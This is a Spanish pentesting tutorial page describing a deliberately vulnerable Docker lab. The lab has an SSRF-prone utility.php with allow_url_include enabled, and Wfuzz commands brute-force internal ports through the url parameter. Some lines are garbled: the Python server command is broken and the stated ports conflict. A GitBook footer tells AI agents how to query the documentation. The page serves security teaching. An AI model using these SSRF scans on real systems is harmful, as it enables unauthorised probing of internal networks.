> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md). # SSRF con Wfuzz ## Instalación del primer escenario (vulnerabilidad SSRF) ```bash docker pull ubuntu:latest docker run -dit --name ssrf_first_lab ubuntu docker exec -it ssrf_first_lab bash apt update apt install apache2 php nano python3 lsof -y service apache2 start lsof -i:80 # verifica que el sitio web esté activo ``` * En el directorio **/var/www/html**, crea un archivo utility.php con el siguiente contenido: ```php ``` * En este caso, el script no funciona como se espera. Debes modificar el archivo **"/etc/php/8.1/apache2/php.ini"** estableciendo \_allow/\_url/*include* en "on". ![](/files/a0b9cf8d0f85da34430197de52e63b27fbd3d811) ![](/files/6488a4471086d9c614a22c0188e4aa50ee3281a0) * Crea un `login.html` archivo en `/tmp/` para simular una página de inicio de sesión de producción: ```html Página de inicio de sesión

Formulario de inicio de sesión de estudiante (PRO)

Recuérdame ¿Olvidaste tu contraseña? ``` * Reinicia el servicio apache2 después de la modificación: ```bash service apache2 restart ``` * Crea un servidor web Python3 visible solo desde la red interna: ```bash python3 -m 4646 --bind 127.0.0.1 ``` Diagrama técnico para entender el primer escenario (**Hay un sitio web en el puerto 8089 que solo es visible desde los equipos de la red interna**):
Gracias al **utility.php** script, especificamos una URL y vemos que la interpreta:
Si intentamos conectarnos desde nuestra máquina normal, **no tenemos acceso** al sitio web:
Pero si nos conectamos a través de **utility.php** y proporcionamos la URL de la red interna, vemos que la interpreta:
En un caso hipotético en el que **no conocemos el puerto**, usamos **Wfuzz** para lanzar un ataque de fuerza bruta: ```go wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ" ```
Ahora, **filtramos** para mostrar solo sitios web con una longitud de **4 caracteres**: ```go wfuzz -c -t 200 --hl=4 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ" ``` Detecta los puertos **80 y 4646**:
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.